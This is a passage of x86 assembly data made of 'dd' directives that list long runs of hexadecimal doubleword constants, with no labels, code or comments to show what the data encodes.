3E543CF0h, 74BF0172h, 0BE7C2379h, 0E89830C2h, 15EC1A20h dd 0C774B58h, 29879DC3h, 45D61100h, 0C316B2F2h, 6272159Fh dd 0A33A8471h, 30A73F42h, 6A7830E3h, 8B1001Eh, 8F39C88Ch dd 5E1459A4h, 0D4BF8Ah, 0B7ED4AA3h, 504E56CCh, 0A51980Dh dd 0C6BFD5DCh, 1E1793A8h, 0D472010Eh, 7F67A8D9h, 492513F0h dd 5B0150B6h, 730E7C61h, 6EC0847Fh, 0B491ED7Dh, 6058BF39h dd 0D4301EAh, 682D5E79h, 9B288391h, 8FB321CDh, 66700009h dd 0B4D52Bh, 4BC2F07h, 0E5FD0897h, 1989D400h, 6E7C7184h dd 0D54501A8h, 0F8BF8015h, 0AFDFC85Ch, 7F303476h, 0A9ADC67Dh dd 97B83BC8h, 46506401h, 0F965775Ch, 1BC60E3h, 0CE0107E2h dd 454A08DCh, 26F4E2D0h, 4C6D5805h, 5AD30472h, 80FFEBA5h dd 55A08A1Ah, 267BC200h, 4DC5B698h, 0E517019Eh, 0FCB4B9CCh dd 3092087h, 8B993B00h, 28CB5A9Ah, 564600BBh, 0D30B3A0Fh dd 7501F788h, 3427ADBDh, 77D4B785h, 0F05638A2h, 80DED39Dh dd 1EF2FAAAh, 93B0391Ah, 10CE20Ch, 79F825h, 4C40905Dh dd 0EBDBDEE3h, 3B006898h, 0B51D69E2h, 3C081F1Eh, 4302198Ah dd 44E1322Ah, 0C852B8C0h, 83D88D03h, 0A0011897h, 814372h dd 0B1FC9D40h, 3ADFAB78h, 5F0460B0h, 67A499A5h, 9A0E5DC0h dd 0B63F03C2h, 0A99B3DD5h, 40B8287Ah, 27E7FD00h, 2F43E270h dd 0A6C7010Ah, 0C9331339h, 0FA11C465h, 8BFEBA1Dh, 1C1752C0h dd 1D32963h, 50A38744h, 0C8267A14h, 8F006084h, 0A2B5ECAh dd 0EF89AFh, 0AD338692h, 0CFB52EEAh, 6656B600h, 0EB4B6FBEh dd 0A4F028A1h, 770E00ADh, 0F45B68EDh, 3700DD3Ah, 0D42CD574h dd 41BA06h, 5E84EC47h, 43539A8Ch, 35B7E102h, 683E9087h dd 77D1763Ch, 0E5D84C42h, 47C36B06h, 1F014062h, 22E661FDh dd 96E839DCh, 2A4F018Bh, 42190B67h, 7B84208Dh, 2DD98F01h dd 0D0E6B3C1h, 24DD4034h, 0EEEC59D8h, 0BD003A6Eh, 6C26C3D1h dd 0B1407F03h, 0E87D91B9h, 0D33797h, 2369EA9h, 673C3578h dd 42E2FC02h, 49BB2CB7h, 718077BCh, 0AEC05C0Dh, 0FC014718h dd 0BE434F28h, 0D9806495h, 0C5BF25D3h, 20F95110h, 710046ECh dd 0F6DA4A24h, 0F42F488h, 8AA721Bh, 2DA73D81h, 93A880D2h dd 8D86C57Fh, 4D557C85h, 77752C9Bh, 0B4660057h, 5C53B758h dd 99008CEBh, 0EC1411DCh, 73E14283h, 0A7840157h, 74823252h dd 5688400Ch, 0B300ED8Ah, 8459112Fh, 2EF4E8Fh, 5CF63244h dd 0D8601910h, 1307ED91h, 159359F7h, 4A4262D0h, 0C7E46Eh dd 0EEEF43B8h, 0C55D9849h, 913CC4E2h, 3B60E012h, 3B5AEh dd 0AFCA7AD7h, 0A91CCCB9h, 9F1E88B8h, 9980C54Fh, 0EF563C08h dd 27730F97h, 2C80E57Eh, 0A9C9D7E3h, 0BA30B0A3h, 736CF192h dd 0E164005Ah, 393F7527h, 900700Fh, 9DBD37B6h, 0B2AE9Ah dd 7D93F974h, 6A0247E5h, 0FEB91707h, 77603B7Ah, 848E10h dd 8DAB83BBh, 0EBF2CE26h, 0AF017AF8h, 33A64455h, 0A2F4B8BCh dd 0D3EF0057h, 4786413Dh, 0FF6014FAh, 0B612EFEh, 43CA0FC1h dd 93809426h, 135C1FD4h, 8BC62812h, 0DB410C00h, 7644F5AAh dd 5DD318D0h, 265F28D6h, 81FEBE7Ah, 52FA4200h, 697314D8h dd 7D22305Bh, 2930F09h, 9263C407h, 7E20A355h, 3B5DA761h dd 0E4076EEDh, 47215839h, 82C30072h, 0B300D6F6h, 0AAEB1209h dd 0FAE0F4Fh, 26710728h, 4363C5E0h, 3100513Bh, 9C32B049h dd 0B88013h, 8A57CC19h, 9205785Ch, 8E73F600h, 0C75A5596h dd 0B57F0175h, 6A8B825Dh, 0BC49D8EBh, 0F200D6F2h, 3F45FBC3h dd 4D74ABh, 5B3162CAh, 6876D420h, 13D87301h, 0B1DB4A87h dd 0F9C0C0F6h, 39D007EEh, 0B06B8322h, 0A8A932E4h, 15658F01h dd 0D6CD0A70h, 383BFC40h, 1FE2387Dh, 6879081h, 0ECFD9D77h dd 81009207h, 82984DA4h, 3ECFE22Dh, 0CE98969Bh, 0E0F9099Fh dd 0F72B4E07h, 42504FEDh, 2D1B5Ah, 1211ABDDh, 0EF71DAE3h dd 99D06A00h, 834B8178h, 0ADA30022h, 793D5451h, 0F8907DDCh dd 0F212F57Ch, 3001CC99h, 0F6D540DDh, 7A831E4h, 637D3BC2h dd 7BF9E021h, 0D801FD1Ah, 0B0E44EAEh, 0E42822A7h, 53FA6900h dd 0DF5D9DCAh, 78753C12h, 0EBE20840h, 0DB6831h, 0D567B2D4h dd 77D7B0D2h, 0FD1B5100h, 0AD60BF65h, 10890018h, 8F85E736h dd 0A124D75Eh, 0D10AA8F2h, 0D200A81Fh, 0B9ECD587h, 4D85070Ch dd 30FA68E9h, 14B8117Ch, 5146BC05h, 0B000DB5Dh, 126D088Bh dd 0F70EDh, 0EC79077h, 2378A2Dh, 0DCF67100h, 927F6E09h dd 744B7FDFh, 0C68F3088h, 5ED14908h, 0DE477B00h, 0A9F3FE5Fh dd 1B0A904h, 0A1CF3331h, 40605392h, 97D901D7h, 3DB84810h dd 0D816F0E7h, 0D1EDCB14h dd 0D30071C7h, 38CE3A2Ch, 58DC35ABh, 143DBCC0h, 9C286200h dd 8A8DBA0Ah, 0F741B604h, 7CE06516h, 17C10050h, 12C9E9E0h dd 750022C8h, 6A3D2F95h, 39BEAF15h, 9808EF5h, 43EE71D4h dd 3EF2FE33h, 0C11F9400h, 67626CC9h, 210F00CCh, 45C52071h dd 1CFECE2Ah, 18B59100h, 0BFDB0BF9h, 9082004Ch, 26FF9336h dd 0CE007A88h, 2AC6CC80h, 0E15AB33h, 0AA47308Eh, 5C16D300h dd 0F6014188h, 75D19BCCh, 0E9DC311Fh, 0EF1402F9h, 0E0CBDE9Ah dd 2F003470h, 0B871CA2h, 0E897F764h, 110B073h, 0F647661Bh dd 0E5AE081Eh, 0EA61F42Ch, 0ED8CFB00h, 48A6DAF4h, 842B2E27h dd 60C4004Ch, 0AA8BEF98h, 0E95CB300h, 64F1E55h, 0C56F1634h dd 0F90C005Bh, 0B77D1811h, 8B83B300h, 0B2A8C651h, 35EAAAh dd 8827F232h, 0FEA51CB5h, 0C86C000h, 747023B0h, 32B0C9C2h dd 2E50F980h, 3D760A76h, 370030F0h, 633541C3h, 3245E7h dd 5F6F6434h, 5CDD92D3h, 8968130h, 1FBBB27h, 0C745EED2h dd 0DCD184FFh, 0F07CA7ABh, 730431E4h, 0A4A58C7Fh, 2CA360A0h dd 18C95085h, 9E468001h, 0EA903A50h, 0C5027400h, 5EDCF480h dd 8912000Ch, 0C0F72ABCh, 0F066FBDh, 0D1E7A056h, 44171F38h dd 0B30B8280h, 0BCE8F0D5h, 0BB0074F2h, 587082D7h, 1FF183DCh dd 60E2BEEh, 9222AC4h, 0DA0055ECh, 9B5728C8h, 24361E7Bh dd 27C1B87h, 7A75685h, 0B83FAF00h, 4C502E05h, 4B7B8240h dd 0B4505DA6h, 9AA89603h, 87F5266Fh, 0C853DFA3h, 0FA974121h dd 518B86Ah, 0C881C97Ch, 806085C4h, 6C9D137Ah, 48D0FA02h dd 5914AFF6h, 95F16060h, 9000F94Ch, 359BE796h, 553A1Fh dd 441ABD5Bh, 650B273Ch, 8B1D5000h, 0AE9BD7C2h, 0A34200CFh dd 0CCF339DAh, 57752059h, 1587C400h, 6FA78B76h, 0E1CF2C34h dd 0CA0C00F1h, 3D593A5Fh, 0DB791A00h, 0A86CD725h, 0BA7C0067h dd 0B434449Eh, 1B3B81E1h, 16E4DCD4h, 6890B7D0h, 0EC5ACCh dd 520B5926h, 6CC5E483h, 67680500h, 3BB6F6A1h, 0BD350677h dd 0F0B0D38Dh, 171E4200h, 0B2B4FB8h, 74AD04F3h, 0C0E7CD69h dd 5A93C9A7h, 10CC5C1Ch, 74058652h, 40EFC20h, 0AA21C7A6h dd 1D12DCCCh, 409B3DD4h, 0AF9A14E7h, 7D009084h, 2FAAD319h dd 1291575h, 164CC054h, 22DCD251h, 80093D04h, 58ED4D43h dd 8A772Bh, 8DECF090h, 40D2C1E6h, 0ADDA0100h, 0B83DF930h dd 631A07F6h, 0ABAE72h, 0D84B28CCh, 394E0C0Eh, 79A03ACh dd 0E3898A35h, 2C169068h, 557761h, 322E8325h, 72245FD8h dd 4562211Eh, 0D207F4C2h, 0FF9CC3F3h, 0C477ABE3h, 27F1CE18h dd 0C5BC9500h, 0F2138320h, 0AB85001Eh, 0E88272C7h, 303738Dh dd 0EABE7A5Eh, 1E92A314h, 40C49409h, 0ABC37358h, 8512CE2Ch dd 700E6F77h, 8778C075h, 49A98C0Dh, 63036C3Ah, 0E67A2C66h dd 51061102h, 6019A98Ah, 38A24018h, 704DAABh, 0C0FB496Eh dd 13741EF8h, 0F933AA09h, 0ACE4809Ah, 0E70F9Bh, 446FD456h dd 0C510E624h, 95501B00h, 0CDA0B09Dh, 863D075Fh, 27BC6DF7h dd 0D760108Fh, 56F61B12h, 0F20D9700h, 0C479690Fh, 0EF943DAAh dd 685FCF82h, 1C60CD80h, 0A900DB66h, 0AEC4621Dh, 76DA06CAh dd 260C0ED4h, 302C098h, 60DFC1D5h, 18E160DAh, 96FB859h dd 0A700ECCDh, 23061CFh, 4F74480Bh, 9ECACF8h, 1C2D54FFh dd 7DBD25C8h, 0F4F96000h, 61006D42h, 37D6242Dh, 0E2625ABh dd 0BDFDAA17h, 0F3A46023h, 19BBB8F0h, 6F043BE0h, 0ABD0B6D1h dd 8D8E9B80h, 39F73099h, 41FA97D1h, 0BF304C00h, 125EA063h dd 3CAB86Eh, 2E13789Dh, 5FF0F5F7h, 200BF3D4h, 8081979Ch dd 96FDEC64h, 1C47882h, 927EEF50h, 8002410Fh, 851D0C11h dd 0CAD512h, 42F20997h, 0CFB77CA9h, 4DE88400h, 1E18AF99h dd 3C90AAh, 61B164CAh, 7E902D87h, 993CAEFAh, 128300B5h dd 0D63EAC2Fh, 2CE37745h, 491C30F3h, 0BDE51883h, 22A4FAB0h dd 0DAC83700h, 99CAA7Fh, 84740020h, 0D93F2C34h, 393F8811h dd 2AB80072h, 1BCA951Ah, 504A00ECh, 0A4C7BFD6h, 0AA00084Dh dd 0F3DD612Eh, 1947C9Fh, 1B69A371h, 0E8F05872h, 0FF0031A2h dd 0F518B6C4h, 1D4D88D2h, 0CED05CDEh, 1FA0C74Ch, 0BC8E3A6Fh dd 85F8B80Eh, 0DC0353BFh, 0C893E0E9h, 0D8CD0Ah, 5892862Ah dd 7E8108ABh, 85001379h, 66C60FC2h, 0A3A0EFE0h, 849EA8FCh dd 16721C91h, 9FB40037h, 0BD97A7F2h, 5CA920C5h, 0EACA2080h dd 8846935h, 0D940B806h, 98AAFA37h, 215D7970h, 2A8A275Fh dd 335B2CA0h, 98B2E0E8h, 0FE003D42h, 0F02101CCh, 68D7BADFh dd 0A58B3890h, 8FE30933h, 400EFD52h, 82B7D781h, 3CA1D062h dd 4D6D9600h, 0B414991Bh, 0A6EE00F4h, 0E626461Ah, 0EF005CD3h dd 0B9B1E489h, 3E83A29Ch, 5700ABE7h, 746D0922h, 10F66E68h dd 1C027F0Ch, 7BD091Bh, 6BDA52CDh, 923A77h, 0FC09C8FFh dd 0D800863Fh, 8B390BC5h, 0BA99BEF8h, 0B9780424h, 0C0955216h dd 15D0538Ch, 0A100F890h, 0E5C0A5C4h, 1FF7411h, 997B104Ah dd 0BA08A9BFh, 0CE1A0011h, 0DF41DAEFh, 0F2C7035Eh, 44B5DCE7h dd 0B3357898h, 80A3B72Ch, 0C300431Fh, 5F47B84h, 0E1950192h dd 80187A6Bh, 60543D11h, 92E8344Ah, 0A5B50308h, 24A6DE45h dd 74D34AB0h, 4287F007h, 3CC0385Eh, 4F220C67h, 80141DB1h dd 8792335Ah, 0C4B80E7Eh, 0F9864CA0h, 7F78C203h, 0C4138221h dd 91C6A4D0h, 0A389004Ah, 2A524E50h, 8DF845D3h, 84335601h dd 731BC8F4h, 200646Ch, 722AA93Ch, 389E8B2Bh, 34810Bh dd 0A2775E98h, 2926267Dh, 0E5F68044h, 9F271F03h, 0A5BF9A05h dd 880541Ch, 0EED328Ch, 0F286C6D5h, 8030358Dh, 0CBF790F6h dd 1F4609h, 1B267AC1h, 0A2FAA5E7h, 25DE4917h, 5E87CC40h dd 6BAACE8Ah, 7400C8CAh, 387D5CCDh, 0FFDE9E01h, 0DDE6B31Bh dd 11D0E981h, 80C6BE5Ah, 0EAD346A8h, 14B37F6h, 2AB5934Ch dd 28BE4DD5h, 0F10E0094h, 0DB3CB6F4h, 0D12660CFh, 0B254BB20h dd 8FF8216Eh, 7FEDE078h, 5A87324h, 2909835Dh, 76CB0CBh dd 2B5AF800h, 0DBAF8B79h, 0B15704F2h, 0C027EA59h, 238703CCh dd 0F005055Eh, 0A8401B5Bh, 0C10D9E53h, 852F038Eh, 6248A1FFh dd 0E82210E0h, 2D20D400h, 0ACA2C809h, 0CAB600DDh, 71C79DF1h dd 0AF00741Fh, 0DB80BF4h, 0C7FCECC9h, 10EED3B8h, 79C65B51h dd 0B69ACC2Ch, 80B0B93Ah, 0F2C365FEh, 2FADE5E4h, 0C00D5FCh dd 0E9F511B6h, 38308073h, 0AD27482Fh, 96B8F4h, 8DC99A13h dd 0A362B60Dh, 6B203061h, 25EC5C29h, 9676ADh, 937F7312h dd 88C06342h, 7B194F05h, 0A84032AEh, 0CBF50C3Eh, 10F8F2h dd 0B44E8F26h, 1D2D0A85h, 87006F75h, 2979F0D1h, 31EB88h dd 7AB24954h, 5D24AB33h, 18F7B800h, 0C616D3FFh, 0E0425CD5h dd 814C2817h, 2B6E4694h, 0E9939422h, 0E2D4800Ch, 0CB560029h dd 81747D48h, 9AEEEE47h, 391690B2h, 50139ECAh, 0EFF74C3h dd 61428320h, 3D5E1820h, 8202E166h, 6FE956B5h, 2730E094h dd 2B4B003Ch, 0C3570D4Ch, 8D7B6CEFh, 0AB229207h, 0E8234D8Bh dd 317AA8CBh, 617112A1h, 3EBE88Ah, 6D903C28h, 89F0B875h dd 0D1E300CEh, 0EE7297Fh, 95CD09h, 0DA806B78h, 6C0A022Eh dd 2696A236h, 0FB8000D9h, 0D76121ACh, 36182F59h, 1AD0080h dd 81EC8CB3h, 23941904h, 0EC91460Ch, 0BEF09670h, 36860BA5h dd 346081D6h, 0AE0033A7h, 56BA723Fh, 3BE6DDCh, 0A3DB896Fh dd 9A82F10Fh, 0D2037856h dd 0F86284B7h, 26B1A11h, 0C48F66DDh, 0C4A40E7Ah, 4D1CC008h dd 0C0905FB8h, 69F7FA00h, 13D28FCh, 0AC670013h, 9FB99029h dd 3C5C2A62h, 0BCB42C70h, 275F9800h, 16DB687Fh, 1DD49234h dd 4D4700DCh, 0C9BD0783h, 850706FAh, 0F7737918h, 0A5DC3200h dd 7789874h, 453D72AAh, 1004294Ch, 19B4D277h, 0C689A4E0h dd 0F5839B00h, 79623A5Eh, 0D4FE15B9h, 7500A832h, 0B0CD96A7h dd 0F10988D9h, 60651636h, 1CD251B0h, 4739CAB1h, 64B09E03h dd 3800D9D9h, 5FFB8108h, 0E63030C1h, 50AC9885h, 46A876h dd 0A3FFF8DAh, 722ECC55h, 4C644C2Eh, 13D31200h, 7A70490Ah dd 0B3400A6h, 71892369h, 91160C52h, 0F800F17Eh, 2910A639h dd 1213266Ch, 852800BCh, 0ED528DD4h, 35007E77h, 0E62E393Eh dd 9744564Ah, 0C4A72C85h, 0C498C0DCh, 2A008CC2h, 5BA3DD88h dd 58DB84Bh, 230EAB34h, 0BD14FECEh, 57FD00B4h, 0D426B1E9h dd 174D00A9h, 55B99190h, 0C067A62h, 0F0696365h, 0EB470060h dd 74FC883Ch, 3401392Eh, 0AA381C04h, 8B608BEFh, 0B4E854AEh dd 0C1F000EDh, 61489B16h, 3459C822h, 62651584h, 0DF6800B8h dd 9027FC19h, 0E8727B60h, 0C2D0050h, 1FAE34C4h, 60985189h dd 9DE09500h, 7A080780h, 603D16B2h, 52E800C8h, 0E1A6E794h dd 1801053Fh, 48807C9Eh, 88B000B5h, 0C0B4EF61h, 0DC980F96h dd 13B99D00h, 3C842B9Ch, 2F1B03ABh, 0CC6101E6h, 980170BBh dd 0B437FEF0h, 89E0A508h, 357600E3h, 1D2B0D61h, 0BFB8EF25h dd 40404BA2h, 8F13D5A5h, 64000A4Dh, 0D2D7689Ch, 98FA0452h dd 0C0BE1C11h, 0F9E0A50Ch, 0DC2F8F24h, 0CAC72800h, 0B335CD5h dd 0AAC938Dh, 5783BE80h, 0CF005DCDh, 0C1B68665h, 34EA8h dd 56EF583Ch, 0CDAC07B4h, 9AC8F450h, 59BD9500h, 46A2FE96h dd 0E8F5004Dh, 0EC894B7Fh, 0FD00908Bh, 0FACDDCE9h, 0C0D7C27h dd 0EAA2497h, 73007008h, 1C453AEDh, 3F6C17FFh, 0A6005B48h dd 0A86803F0h, 8F046FBFh, 55E34A81h, 520E14ACh, 5A00B60h dd 2FC4447h, 0B0DFF412h, 384F1800h, 0B871D2EBh, 0A8BD0654h dd 49863642h, 0E9277A16h, 0E7EEE041h, 0E4C0599Dh, 4F206D8h dd 0FC4DA169h, 9F85C409h, 560209Bh, 0E76F3EBh, 1B2B7EC5h dd 6A526461h, 9AE83085h, 7C3FBE00h, 0E21AC92Fh, 70E124CFh dd 0F6310B6Ch, 80BB2026h, 45828C00h, 0D6E18DCh, 7E68E025h dd 77EF005Bh, 64F1DFBDh, 3F00047Eh, 4E99DB94h, 53221Ah dd 0EA0D6AEh, 0AA8218C9h, 0C0003977h, 84C75ED5h, 0E6CDE90h dd 255AFE02h, 4CA4C4C0h, 70000E06h, 56CD07DBh, 58F7E2C9h dd 2C07DA8Bh, 26C23DB8h, 0E0E67826h, 0DA1AA900h, 0ADB05F99h dd 736A00CAh, 386C707h, 6E00B305h, 0CE0E637h, 1642B40h dd 5AFA1FA9h, 0E0E5FC8Fh, 0D483E3Ch, 0CA5F008Bh, 0A4D7B122h dd 0D9F000F5h, 9FDB73EEh, 0D300766Dh, 2E10679Eh, 6FFA19h dd 3FC76B24h, 0FDB8B77h, 0F41A331Dh, 72682C01h, 64F8B1F9h dd 2A5E00A0h, 4B0C18Dh, 0FC011873h, 0E5C69013h, 48E40F12h dd 79461F67h, 6109F049h, 4A0EC744h, 0A0C85F62h, 0B36C83D7h dd 6A9D00D0h, 68F83E3Dh, 0CE0A2407h, 0B0CA8E6Fh, 0D50F5800h dd 2E81E062h, 0F390B39h, 2FE787ECh, 20A3409Fh, 1A002C8Ah dd 0FBE2E33h, 3CCD78DFh, 0BC00162Dh, 62F06C68h, 509D363Bh dd 73640597h, 0EB5BCE8Ah, 4F4D9380h, 0EB40BF1Dh, 920B6694h dd 809EFD46h, 4323CACh, 0C1334C81h, 1E2B6900h, 0C477F5C7h dd 4052E400h, 327CBE5Bh, 0C3B090h, 60B6DC71h, 5795D978h dd 33DF1900h, 0B3ECC72Ch, 0C97000A6h, 0F089AB36h, 65006E5Eh dd 0BC3D51D7h, 50E15A9Eh, 7C6BB4CBh, 539B187Eh, 26EB079h dd 54732B0Eh, 70678104h, 17F0C208h, 0E1FA018Fh, 0F357460Eh dd 0DA0980DCh, 0EDF16140h, 628D00FFh, 159154B3h, 0B400CAC6h dd 0FE0E3527h, 15FA498h, 0C7FF7B58h, 0E596CFA2h, 4397EC1Eh dd 5C72D700h, 8CDF9FDh, 5B1800B8h, 2905BF84h, 33709A17h dd 0BD34AE0Eh, 70B9E093h, 87A1DDh, 25BB0FB8h, 2172BC1Bh dd 69E88200h, 5C473B6Ah, 7B8000ADh, 0FBEE5533h, 400D2A8h dd 0A3D4BCCCh, 1F79505Fh, 808BB8DAh, 9BBFF88Dh, 934C9E65h dd 4C500B8h, 0CE7EACC1h, 97900072h, 0E1B383CCh, 81009C6Bh dd 0AA70963Ah, 0FB01EBh, 0EE204348h, 5786A6A0h, 5FAC2D50h dd 277CDE00h, 9B1944E5h, 6362009Ah, 7737D081h, 2C92CDA2h dd 0EC07FAE6h, 5F1AB315h, 0D53F0660h, 55350078h, 0DD4EC0FDh dd 0C3003A9Eh, 0F4E0ECCAh, 0E72A1Dh, 56DB8425h, 2933B6DFh dd 503AB307h, 0EF0E830h, 14AB922Fh, 0F40C5FBEh, 28E2E003h dd 20994FC1h, 0ABEFD43Bh, 0EA10AA50h, 0B8DEE67Dh, 3E4C5501h dd 89D5390h, 0EADE059Ah, 0A91000CAh, 38855FD6h, 87079C0Eh dd 642E8040h, 1F142B7h, 9DE81F25h, 809720C5h, 1652A41Ch dd 7FC4A3h, 726A7E37h, 6D271C74h, 0C34D1A1Fh, 0B698BC00h dd 3CB4A09h, 80AEA904h, 70DFD4CFh, 9361C2E4h, 273F1874h dd 5FBC8028h, 0FABB539Fh, 41150CBDh, 87898111h, 9DEBC709h dd 8F702009h, 0C56A7FE7h, 0A17C1E8h, 584A680h, 0A2EB02h dd 9AAFE714h, 8B3FED71h, 0DF9E8055h, 31C69F90h, 47A600E1h dd 95ED413h, 9C003BE7h, 6340E38Ch, 1621150Bh, 0FB25553Dh dd 7707EF06h, 0FFAF1D18h, 7EF68054h, 90B11C6Bh, 8F8CB60Dh dd 21E42051h, 789A5Eh, 0FF96196Ch, 7EF50572h, 0EE642F00h dd 2D8944B3h, 0C13D70EFh, 0C58CB518h, 0F00BFD73h, 8B0FC2B8h dd 156979Ah, 7969E7A9h, 0C7370A4h, 0F5F975A8h, 2A5FC601h dd 27E75EA1h, 0CC1E453h, 6A202C09h, 0FC30B689h, 35065186h dd 8FDB186Bh, 0B0EFD17Fh, 6CF243Ch, 6AF43C5Fh, 0EA362441h dd 0DE7605C1h, 8CA84007h, 8B3C996Eh, 6CA9CF00h, 0A3333672h dd 0C347001Ch, 75C77C4Fh, 3A0E44A4h, 0C7948FDAh, 6F73C4ECh dd 84EAE8EEh, 0BF77030Fh, 0F15340BAh, 0A3215AD8h, 2DED9E00h dd 6E1A62C6h, 0C37D0E4Ch, 83807210h, 0A57B5A13h, 0BF4F463Ah dd 33DA003Dh, 0D1343225h, 0F7FDFh, 93A42676h, 0B2DDCB3Fh dd 368C2D00h, 0E55ECE1Eh, 267B001Bh, 0A38B107Dh, 0CC2C9340h dd 4D06C513h, 58101CD1h, 8F007025h, 7D0E40BBh, 7114C7A5h dd 9938D8h, 32496F41h, 2D301F0h, 0C9974B94h, 0BBE07703h dd 730C921Fh, 5822F12Ch, 0BE633B7Bh, 425F5100h, 12B92EBBh dd 0A5A8F00Eh, 7EC8638Eh, 79B6A6h, 0B1A1B7F1h, 78119091h dd 0FC323000h, 4B067FDDh, 637F6E8h, 1475E4CDh, 7D1BE979h dd 1F4199B9h, 0B0EF8BE8h, 72B58E11h, 0F5384201h, 0B2489B4Ch dd 0F6A584F4h, 5B700CDh, 0E7B03188h, 0B50094E3h, 6AF90950h dd 8085C8h, 0F559B606h, 9F1F37B0h, 54B2690Eh, 0B3EA017h dd 3A45CBA8h, 580948Ah, 0E0504A28h, 5605157Fh, 0BD4BA623h dd 68CB38C0h, 40666044h, 0CEBC7647h, 95AAA000h, 186260A1h dd 97CD00E1h, 32242E85h, 212484B7h, 0AB170D88h, 3EFFEA00h dd 0F2D2EF10h, 68D13947h, 6A661F80h, 0A0CC7F4Ah, 359A1800h dd 85D437D9h, 0A1E60101h, 2C05D399h, 9D30E4BBh, 0C00013F0h dd 60AF057h, 0C387286Ah, 25E9D068h, 9836E10Ch, 0F461CCh dd 492C22AAh, 35CE16B2h, 0A21CF290h, 7A1994h, 0DDE2F488h dd 0F84ED9EFh, 8E4901A0h, 0C8129F1Ch, 4AF18C62h, 1F087Bh dd 0C725234Fh, 16F7641Dh, 48907118h, 731F178h, 0CC2DB461h dd 58E05F23h, 0FB8CD907h dd 3EE3651Dh, 4ADB5500h, 67E9132h, 0AF7C2E54h, 4F3D09ABh dd 88DB28FAh, 0B7F89100h, 3EC124A4h, 8E5C004Eh, 0FC760351h dd 0A7008328h, 89FB2ADCh, 78D3742h, 0B61B44ABh, 3211E05Ch dd 0AC764039h, 1077C00h, 0A81C6AEEh, 405D6047h, 2ADB850Bh dd 0C11AC5Ch, 205C4D78h, 0B35941A7h, 0CA4C20A9h, 98540049h dd 0FD13AEF0h, 0EC01A228h, 0FBC2D8F8h, 2D4C1086h, 0AD03A842h dd 112C862Ah, 6010003Ch, 340182EBh, 0CD0135AAh, 0FE18DD87h dd 7121863Eh, 0F8BEBAFCh, 1F420017h, 6EE48302h, 63F43FC0h dd 0CE6BB900h, 4137385h, 58EE0053h, 44CF0132h, 860F9633h dd 0F8F02D1Ah, 7780314h, 389CCEC7h, 8782B0E7h, 743CC47Ch dd 0F47A85CCh, 0A0C00346h, 117DDEh, 0C17C328Bh, 4AA8409Dh dd 7BFE6C00h, 2954E290h, 0BC6500BDh, 0D985A02Dh, 0F7000D03h dd 9F95FFBh, 0FF1EDD0h, 33164F0Fh, 0C1860EE5h, 0D039DE18h dd 0A577D29Eh, 9DDB3407h, 7311FBB5h, 40C7FA76h, 7865D208h dd 0B3920075h, 994A7BADh, 0D0F6B6D7h, 0AD88D00h, 498319CDh dd 86E4065Fh, 29A50293h, 22B51322h, 0FD220DB9h, 40977C60h dd 9D44FF78h, 11084439h, 863CE5FEh, 0E3D85h, 634848Fh dd 269A89h, 30CA8AEDh, 915DF08h, 0A955D100h, 0A09833B7h dd 96960B6h, 8087EA2Fh, 97915817h, 34AF01BFh, 0F03973F2h dd 0F97BD08Ah, 823D500h, 52AEA643h, 0E3AD0229h, 0C7E7E916h dd 83E684A7h, 0BAB03F51h, 810328B3h, 0E0DDE144h, 0A7CA047h dd 8CE6005Ah, 2579D709h, 6F008E76h, 0D960B1D8h, 26E089h dd 56A4C154h, 20936B96h, 50499818h, 18719950h, 111C7D80h dd 0C8ED921Bh, 101CF056h, 0AA095760h, 0CC390099h, 13B6E91h dd 0A9962C11h, 0E41548B8h, 0CD00932Fh, 0F899F4B5h, 364D012h dd 0FE6B0D08h, 0BC84DD4h, 0CD001024h, 65A6ADB8h, 62D7FD5h dd 8C599268h, 0F200E8FDh, 202B6D66h, 7C87D8Bh, 0FBD52F04h dd 0EFD0A040h, 6100FD4Dh, 9EC076ADh, 0F0C3832Eh, 68020096h dd 0D5B5DC34h, 0FC0058F6h, 1949522Bh, 6E9438h, 0D179D41Ah dd 0DDF9AAA8h, 9DC9A500h, 0EA7DD74Fh, 0EB610107h, 2E78A743h dd 0F605D43Ch, 863FB103h, 0F953EF1h, 0E1631C58h, 82075F4Bh dd 6568B077h, 0E572A8E0h, 434FF900h, 0EADB6A62h, 0D79400CDh dd 719605C8h, 0A400778Ah, 0C94D705Fh, 1BE6A26h, 6E7E9DBCh dd 0EC3E75B3h, 7A1DD772h, 764047C0h, 0A1E4508Bh, 55770084h dd 2CA77BA4h, 0AF7079AAh, 0AC854600h, 0D9F64531h, 8F7006DEh dd 94CDFD0h, 80B56E3Dh, 2FB7D3ADh, 1F5ED92Dh, 0DD0EF3h dd 41CFABF0h, 6D0497E0h, 0FC299F58h, 3C002485h, 694B16F8h dd 2B211D8Ah, 0E42EC18h, 3020E879h, 54567A33h, 2D9B3600h dd 441FA57h, 0AA5E0292h, 909E2CE0h, 0AF91B6C0h, 0BC3D9F38h dd 0B9FD006Dh, 0D8EB5DF5h, 0B23F3D49h, 0F348CD07h, 10AF9221h dd 0BC1FAA54h, 597399C0h, 0C2DAA9h, 0CFE2AA64h, 0FA0063Ch dd 0BBCDE600h, 4402908Eh, 9A520FC2h, 0D7BDBCACh, 741800CEh dd 1068631Ah, 90536500h, 0D1AFC8DDh, 0E1FCCFh, 475B828Dh dd 0C7C0B142h, 0FB4F081Eh, 0E7D94600h, 41BD31h, 0C844DE78h dd 1E8C8011h, 4D399503h, 0D814E105h, 410D890h, 5198269Bh dd 64088044h, 0DA004CB7h, 62EF14D9h, 7DE613EBh, 6F60003Fh dd 1925E5BBh, 2F027ADFh, 3CDD9291h, 60B04213h, 5756B4Fh dd 0F074F1D5h, 0F9D0C056h, 0AA00B45Fh, 1D9BAB7Ch, 9841BBE2h dd 0E530008Ch, 98535010h, 2C005B43h, 565D1DF8h, 1DA180ACh dd 848CCDE3h, 81229ED6h, 40186606h, 4EB2FE04h, 59F2FA00h dd 993C6D74h, 0C3210041h, 0A35D5FB8h, 0D7016137h, 7B0F93D2h dd 7B70A709h, 28970031h, 0F424B6F3h, 7000A616h, 1BA5B969h dd 0C63A14h, 0C5E82052h, 0E433AF19h, 970766F0h, 891FB90Fh dd 0E080D745h, 0EB08F8h, 0FEEFCA67h, 0B8B5C62Bh, 0BC51D100h dd 95B1E9E2h, 30400065h, 0AE70A598h, 2300C7ABh, 2B62832Dh dd 5A4376h, 9E0F5E99h, 2CB3DCFDh, 0CFC35000h, 0B1A5B7ECh dd 737E00D3h, 0D5C5D611h, 171FD212h, 430B80E9h, 0DC2C202Ah dd 3B1535C9h, 0EF009CD8h, 0F52EA120h, 0D9008122h, 0D27DF6F1h dd 372AE9Ah, 0C804DBF0h, 900D1F4h, 572E0F07h, 